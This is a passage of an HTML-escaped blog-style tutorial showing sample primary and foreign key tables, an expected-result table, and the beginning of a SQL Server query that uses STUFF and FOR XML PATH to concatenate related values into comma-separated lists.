  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0cm 5.4pt 0cm 5.4pt; width: 159.6pt;&quot; valign=&quot;top&quot; width=&quot;213&quot;&gt;
  &lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
DEF&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0cm 5.4pt 0cm 5.4pt; width: 159.6pt;&quot; valign=&quot;top&quot; width=&quot;213&quot;&gt;
  &lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
2&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0cm 5.4pt 0cm 5.4pt; width: 159.6pt;&quot; valign=&quot;top&quot; width=&quot;213&quot;&gt;
  &lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
GEH&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0cm 5.4pt 0cm 5.4pt; width: 159.6pt;&quot; valign=&quot;top&quot; width=&quot;213&quot;&gt;
  &lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
IJK&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;o:p&gt;&lt;b&gt;Foreign Table&lt;/b&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoNormalTable&quot; style=&quot;border-collapse: collapse; mso-padding-alt: 0cm 0cm 0cm 0cm; mso-yfti-tbllook: 1184;&quot;&gt;
 &lt;tbody&gt;
&lt;tr&gt;
  &lt;td style=&quot;border: solid windowtext 1.0pt; padding: 0cm 5.4pt 0cm 5.4pt; width: 159.6pt;&quot; valign=&quot;top&quot; width=&quot;213&quot;&gt;
  &lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;ID&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-left: none; border: solid windowtext 1.0pt; padding: 0cm 5.4pt 0cm 5.4pt; width: 159.6pt;&quot; valign=&quot;top&quot; width=&quot;213&quot;&gt;
  &lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;FK_ID&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-left: none; border: solid windowtext 1.0pt; padding: 0cm 5.4pt 0cm 5.4pt; width: 159.6pt;&quot; valign=&quot;top&quot; width=&quot;213&quot;&gt;
  &lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;Value_1&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;border-top: none; border: solid windowtext 1.0pt; padding: 0cm 5.4pt 0cm 5.4pt; width: 159.6pt;&quot; valign=&quot;top&quot; width=&quot;213&quot;&gt;
  &lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;1&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; padding: 0cm 5.4pt 0cm 5.4pt; width: 159.6pt;&quot; valign=&quot;top&quot; width=&quot;213&quot;&gt;
  &lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;1&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; padding: 0cm 5.4pt 0cm 5.4pt; width: 159.6pt;&quot; valign=&quot;top&quot; width=&quot;213&quot;&gt;
  &lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;LMK&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;border-top: none; border: solid windowtext 1.0pt; padding: 0cm 5.4pt 0cm 5.4pt; width: 159.6pt;&quot; valign=&quot;top&quot; width=&quot;213&quot;&gt;
  &lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;2&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; padding: 0cm 5.4pt 0cm 5.4pt; width: 159.6pt;&quot; valign=&quot;top&quot; width=&quot;213&quot;&gt;
  &lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;1&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; padding: 0cm 5.4pt 0cm 5.4pt; width: 159.6pt;&quot; valign=&quot;top&quot; width=&quot;213&quot;&gt;
  &lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;IJKK&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;border-top: none; border: solid windowtext 1.0pt; padding: 0cm 5.4pt 0cm 5.4pt; width: 159.6pt;&quot; valign=&quot;top&quot; width=&quot;213&quot;&gt;
  &lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;3&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; padding: 0cm 5.4pt 0cm 5.4pt; width: 159.6pt;&quot; valign=&quot;top&quot; width=&quot;213&quot;&gt;
  &lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;2&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; padding: 0cm 5.4pt 0cm 5.4pt; width: 159.6pt;&quot; valign=&quot;top&quot; width=&quot;213&quot;&gt;
  &lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;ZZZ&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;border-top: none; border: solid windowtext 1.0pt; padding: 0cm 5.4pt 0cm 5.4pt; width: 159.6pt;&quot; valign=&quot;top&quot; width=&quot;213&quot;&gt;
  &lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;4&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; padding: 0cm 5.4pt 0cm 5.4pt; width: 159.6pt;&quot; valign=&quot;top&quot; width=&quot;213&quot;&gt;
  &lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;2&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; padding: 0cm 5.4pt 0cm 5.4pt; width: 159.6pt;&quot; valign=&quot;top&quot; width=&quot;213&quot;&gt;
  &lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;YYY&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;o:p&gt;



&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;&lt;b&gt;&amp;nbsp;Expected Result&lt;/b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoTableGrid&quot; style=&quot;border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-yfti-tbllook: 1184;&quot;&gt;
 &lt;tbody&gt;
&lt;tr&gt;
  &lt;td style=&quot;border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0cm 5.4pt 0cm 5.4pt; width: 96.75pt;&quot; valign=&quot;top&quot; width=&quot;129&quot;&gt;
  &lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
PK.ID&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-left: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0cm 5.4pt 0cm 5.4pt; width: 98.5pt;&quot; valign=&quot;top&quot; width=&quot;131&quot;&gt;
  &lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
FK_ID&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-left: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0cm 5.4pt 0cm 5.4pt; width: 85.8pt;&quot; valign=&quot;top&quot; width=&quot;114&quot;&gt;
  &lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
PK.Value_1&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-left: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0cm 5.4pt 0cm 5.4pt; width: 94.05pt;&quot; valign=&quot;top&quot; width=&quot;125&quot;&gt;
  &lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
FK_Value_1&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-left: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0cm 5.4pt 0cm 5.4pt; width: 103.7pt;&quot; valign=&quot;top&quot; width=&quot;138&quot;&gt;
  &lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
PK.Value_2&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0cm 5.4pt 0cm 5.4pt; width: 96.75pt;&quot; valign=&quot;top&quot; width=&quot;129&quot;&gt;
  &lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
1&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0cm 5.4pt 0cm 5.4pt; width: 98.5pt;&quot; valign=&quot;top&quot; width=&quot;131&quot;&gt;
  &lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
1122,2122&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0cm 5.4pt 0cm 5.4pt; width: 85.8pt;&quot; valign=&quot;top&quot; width=&quot;114&quot;&gt;
  &lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
ABC&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0cm 5.4pt 0cm 5.4pt; width: 94.05pt;&quot; valign=&quot;top&quot; width=&quot;125&quot;&gt;
  &lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
LMK,IJKK&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0cm 5.4pt 0cm 5.4pt; width: 103.7pt;&quot; valign=&quot;top&quot; width=&quot;138&quot;&gt;
  &lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
LKM&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0cm 5.4pt 0cm 5.4pt; width: 96.75pt;&quot; valign=&quot;top&quot; width=&quot;129&quot;&gt;
  &lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
2&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0cm 5.4pt 0cm 5.4pt; width: 98.5pt;&quot; valign=&quot;top&quot; width=&quot;131&quot;&gt;
  &lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
3122,4122&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0cm 5.4pt 0cm 5.4pt; width: 85.8pt;&quot; valign=&quot;top&quot; width=&quot;114&quot;&gt;
  &lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
GEH&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0cm 5.4pt 0cm 5.4pt; width: 94.05pt;&quot; valign=&quot;top&quot; width=&quot;125&quot;&gt;
  &lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
ZZZ,YYY&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0cm 5.4pt 0cm 5.4pt; width: 103.7pt;&quot; valign=&quot;top&quot; width=&quot;138&quot;&gt;
  &lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
NOP&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;

&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;o:p&gt;&lt;b&gt;Query&lt;/b&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-no-proof: yes;&quot;&gt;Select&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-no-proof: yes;&quot;&gt; PK&lt;span style=&quot;color: grey;&quot;&gt;.&lt;/span&gt;ID&lt;span style=&quot;color: grey;&quot;&gt;,&lt;/span&gt;PK&lt;span style=&quot;color: grey;&quot;&gt;.&lt;/span&gt;Value_1&lt;span style=&quot;color: grey;&quot;&gt;,&lt;/span&gt; PK&lt;span style=&quot;color: grey;&quot;&gt;.&lt;/span&gt;Value_2&lt;span style=&quot;color: grey;&quot;&gt;,&lt;/span&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-no-proof: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: grey;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;SELECT&lt;/span&gt;
&lt;span style=&quot;color: magenta;&quot;&gt;STUFF&lt;/span&gt;&lt;span style=&quot;color: grey;&quot;&gt;(&lt;/span&gt; &lt;span style=&quot;color: grey;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;SELECT&lt;/span&gt; &lt;span style=&quot;color: red;&quot;&gt;&#39;, &#39;&lt;/span&gt; &lt;span style=&quot;color: grey;&quot;&gt;+&lt;/span&gt;&amp;nbsp; &lt;span style=&quot;color: magenta;&quot;&gt;CONVERT&lt;/span&gt;&lt;span style=&quot;color: grey;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;varchar&lt;/span&gt;&lt;span style=&quot;color: grey;&quot;&gt;(&lt;/span&gt;25&lt;span style=&quot;color: grey;&quot;&gt;),&lt;/span&gt; FK&lt;span style=&quot;color: grey;&quot;&gt;.&lt;/span&gt;ID&lt;span style=&quot;color: grey;&quot;&gt;,&lt;/span&gt; 1&lt;span style=&quot;color: grey;&quot;&gt;)&lt;/span&gt;&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-no-proof: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: blue;&quot;&gt;FROM&lt;/span&gt; FOREIGN_TABLE
FK&amp;nbsp; &lt;span style=&quot;color: blue;&quot;&gt;WHERE&lt;/span&gt;
FK&lt;span style=&quot;color: grey;&quot;&gt;.&lt;/span&gt;ID&lt;span style=&quot;color: grey;&quot;&gt;=&lt;/span&gt;PK&lt;span style=&quot;color: grey;&quot;&gt;.&lt;/span&gt;ID&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-no-proof: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: blue;&quot;&gt;FOR&lt;/span&gt; &lt;span style=&quot;color: blue;&quot;&gt;XML&lt;/span&gt; &lt;span style=&quot;color: blue;&quot;&gt;PATH&lt;/span&gt; &lt;span style=&quot;color: grey;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;&#39;&#39;&lt;/span&gt;&lt;span style=&quot;color: grey;&quot;&gt;))&lt;/span&gt; &lt;span style=&quot;color: grey;&quot;&gt;,&lt;/span&gt; 1&lt;span style=&quot;color: grey;&quot;&gt;,&lt;/span&gt; 2&lt;span style=&quot;color: grey;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: red;&quot;&gt;&#39;&#39;&lt;/span&gt;&lt;span style=&quot;color: grey;&quot;&gt;))&lt;/span&gt;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: blue;&quot;&gt;AS&lt;/span&gt; FK_ID &lt;span style=&quot;color: grey;&quot;&gt;,&lt;/span&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-no-proof: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: grey;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;SELECT&lt;/span&gt;
&lt;span style=&quot;color: magenta;&quot;&gt;STUFF&lt;/span&gt;&lt;span style=&quot;color: grey;&quot;&gt;(&lt;/span&gt; &lt;span style=&quot;color: grey;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;SELECT&lt;/span&gt; &lt;span style=&quot;color: red;&quot;&gt;&#39;, &#39;&lt;/span&gt; &lt;span style=&quot;color: grey;&quot;&gt;+&lt;/span&gt;&amp;nbsp; &lt;span style=&quot;color: magenta;&quot;&gt;CONVERT&lt;/span&gt;&lt;span style=&quot;color: grey;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;varchar&lt;/span&gt;&lt;span style=&quot;color: grey;&quot;&gt;(&lt;/span&gt;25&lt;span style=&quot;color: grey;&quot;&gt;),&lt;/span&gt; FK2&lt;span style=&quot;color: grey;&quot;&gt;.&lt;/span&gt;Value_1&lt;span style=&quot;color: grey;&quot;&gt;,&lt;/span&gt; 1&lt;span style=&quot;color: grey;&quot;&gt;)&lt;/span&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-no-proof: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: blue;&quot;&gt;FROM&lt;/span&gt; FOREIGN_TABLE FK2 &lt;span style=&quot;color: blue;&quot;&gt;WHERE&lt;/span&gt;
